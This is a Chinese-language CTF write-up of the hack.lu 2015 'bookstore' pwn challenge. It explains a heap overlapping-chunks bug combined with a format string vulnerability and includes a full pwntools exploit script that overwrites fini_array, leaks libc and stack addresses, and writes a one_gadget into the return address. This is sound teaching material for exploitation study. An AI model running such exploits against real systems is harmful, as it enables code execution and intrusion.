How2heap--overlapping_chunks Hack.lu2015--bookstore

overlapping chunks

溢出对unsortedbin中的chunk->size进行修改，造成堆块重叠。

hack.lu2015 bookstore

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Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

程序是一个订书系统，在main函数开始处，连续分配3个0x80的空间，一个存储订单1——order1，一个存储订单2——order2，一个存储提示信息——info。有以下功能菜单

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1: Edit order 1
2: Edit order 2
3: Delete order 1
4: Delete order 2
5: Submit

Edit order 1/2：order1/order2使用fgetc读取字符串，读到\n终止，所以这里存在溢出

Delete order 1/2：free掉order1/order2。这里存在指针悬空

Submit：分配0x140的空间（称为orderlist）将order1和order2拼接。这里存在溢出

程序末尾printf(info)存在可能的格式化字符串漏洞。

overlapping chunks && format string vulnerability

总体思路：释放order2，溢出order1修改order2chunk->size = 0x151。并在order1上布置format string，以泄露libc和stack addr，和修改fini_array为start的地址。第二次format string修改main函数返回地址为one_gadget。

fini_array存储main函数结束后将要执行的函数地址，一般修改为main函数来达到再运行一次的目的。这里我修改为start也可以达到此效果，原本想达到main函数循环执行的效果，可是没有如我的心愿。。。

phase 1

溢出修改unsortedbin中的order2的大小为0x151后，再分配0x140的orderlist，将会出现下图的情况。要想办法将format string精准控制在info开始处。

submit函数中，连接order1后，orderlist1 = "Order 1: " + XXXXXXXX；order2指针悬空，和现在的orderlist指向的地址相同，所以连接order2将出现 orderlist = "Order 1: " + XXXXXX + "\nOrder 2: " + orderlist1。其中长度为9的字符串Order 1: 出现了两次，长度为10的字符串\nOrder 2: 出现了一次，故该函数额外向orderlist中填充了28个字节。

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# phase 1
menu(b'4')

# format string: overwrite fini_arrary with start, leak libc and stack
payload = b"%1920x%13$hn...%14$s,,,%28$llx".ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(fini_array) + p64(puts_got))

%1920x%13$hn，使用start地址0x400780，双字节覆盖fini_array，13$取第13个参数，hn控制写入双字节。

%14$s，打印puts_got。

%28$llx，打印stack地址。多次调试可以发现，main函数rbp-0x10处，存在一个与栈地址固定偏移0xf0的栈地址，应该为此前函数遗留。

利用fgets将这些参数传到栈上。

phase 2

调试到第二轮次，计算此前泄露的栈地址与此次main函数返回地址偏移。

将one_gadget地址的低四字节，写到返回地址处，一次一个字节。因为双字节有偶发性printf崩溃，应该是打印长度过长了。(我这里使用的自编译的glibc2.26 without tcache)

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one_gadget = libc_base + 0x40d82
log.debug("one gadget: 0x%x" % one_gadget)
p1 = one_gadget       & 0xff
p2 = (one_gadget>>8)  & 0xff
p3 = (one_gadget>>16) & 0xff
p4 = (one_gadget>>24) & 0xff

part1 = p1
part2 = p2-p1 if p2 > p1 else 256-p1+p2
part3 = p3-p2 if p3 > p2 else 256-p2+p3
part4 = p4-p3 if p4 > p3 else 256-p3+p4

menu(b"4")
payload  = b"%" + str(part1).encode("ascii") + b"x%13$hhn%" + str(part2).encode("ascii") + b"x%14$hhn"
payload += b"%" + str(part3).encode("ascii") + b"x%15$hhn%" + str(part4).encode("ascii") + b"x%16$hhn"
payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+1) + p64(ret_addr+2) + p64(ret_addr+3))

exploit

关于fini_array

LIBC_START_MAIN函数在执行完main函数后，执行exit->__run_exit_handlers，在__run_exit_handlers中调用__call_tls_dtors函数和__exit_funcs函数列表，该列表默认情况下只有dl_fini。结构如下

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struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
	void (*at) (void);
	struct
	  {
	    void (*fn) (int status, void *arg);
	    void *arg;
	  } on;
	struct
	  {
	    void (*fn) (void *arg, int status);
	    void *arg;
	    void *dso_handle;
	  } cxa;
      } func;
  };

struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };

其中idx在第一次遍历此列表时就变为0了，而且就算再将该值改为1，也不会再执行fini_array里的函数。后面再dl_fini里面也貌似有个防范多次执行的变量，可是这块过于复杂了对于我，再看下去势必要花不少时间且偏离方向了，日后再说吧。。。

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// glibc release/2.26/master elf/dl-fini.c _dl_fini(void)

if (l->l_init_called)
{
    /* Make sure nothing happens if we are called twice.  */
    l->l_init_called = 0;
    ...

struct exit_function里存储的指针也经过了指针加密？。

exploit

exp

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#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="info")
localfile = "./bookstore"
locallibc = "../glibc_versions/2.26/x64_notcache/lib/libc-2.26.so"

def menu(s):
    io.recvuntil("5: Submit\n")
    io.sendline(s)

def exp():
    fini_array = 0x6011B8
    puts_got   = elf.got["puts"]
    free_got   = elf.got["free"]

    # phase 1
    menu(b'4')

    # format string: overwrite fini_arrary with start, leak libc and stack
    payload = b"%1920x%13$hn...%14$s,,,%28$llx".ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
    menu(b"1")
    io.sendline(payload)
    # gdb.attach(io, "b *0x400B09")
    menu(b"5" + p8(0x1)*7 + p64(fini_array) + p64(puts_got))

    # leak libc and stack
    io.recvuntil(b"...")
    io.recvuntil(b"...")
    io.recvuntil(b"...")
    puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
    io.recvuntil(b",,,")
    stack_addr = int(io.recv(12), 16)

    ret_addr = stack_addr - 0x288
    libc_base = puts_addr - libc.sym["puts"]

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#   fail when part1 + part2 is too big (possible reason...
#########################################################
    # one_gadget = libc_base + 0x40d82
    # part1 =  one_gadget      % (1<<16)
    # part2 = (one_gadget>>16) % (1<<16)
    # log.debug("0x%x" % part1)
    # log.debug("0x%x" % part2)
    # if part2 > part1:
    #     part2 = part2 - part1
    # else:
    #     part2 = part2 + ((1<<16)-part1)

    # log.debug("0x%x" % part1)
    # log.debug("0x%x" % part2)

    # log.debug("ret addr: 0x%x" % ret_addr)
    # log.debug("one gadget: 0x%x" % one_gadget)
    
    # # phase 2
    # menu(b'4')
    # payload = b"%" + str(part1).encode("ascii") + b"x%13$hn" + b"%" + str(part2).encode("ascii") + b"x%14$hn"
    # payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
    # menu(b"1")
    # io.sendline(payload)
    # # gdb.attach(io, "b *0x400B09")
    # menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+2))

    one_gadget = libc_base + 0x40d82
    log.debug("one gadget: 0x%x" % one_gadget)
    p1 = one_gadget       & 0xff
    p2 = (one_gadget>>8)  & 0xff
    p3 = (one_gadget>>16) & 0xff
    p4 = (one_gadget>>24) & 0xff

    part1 = p1
    part2 = p2-p1 if p2 > p1 else 256-p1+p2
    part3 = p3-p2 if p3 > p2 else 256-p2+p3
    part4 = p4-p3 if p4 > p3 else 256-p3+p4

    menu(b"4")
    payload  = b"%" + str(part1).encode("ascii") + b"x%13$hhn%" + str(part2).encode("ascii") + b"x%14$hhn"
    payload += b"%" + str(part3).encode("ascii") + b"x%15$hhn%" + str(part4).encode("ascii") + b"x%16$hhn"
    payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
    menu(b"1")
    io.sendline(payload)
    # gdb.attach(io, "b *0x400B09")
    menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+1) + p64(ret_addr+2) + p64(ret_addr+3))

    io.interactive()




argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

Reference

how2heap overlapping chunks
https://bbs.pediy.com/thread-246783.htm

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overlapping chunks

hack.lu2015 bookstore

overlapping chunks && format string vulnerability

phase 1

phase 2

关于fini_array

exploit

Reference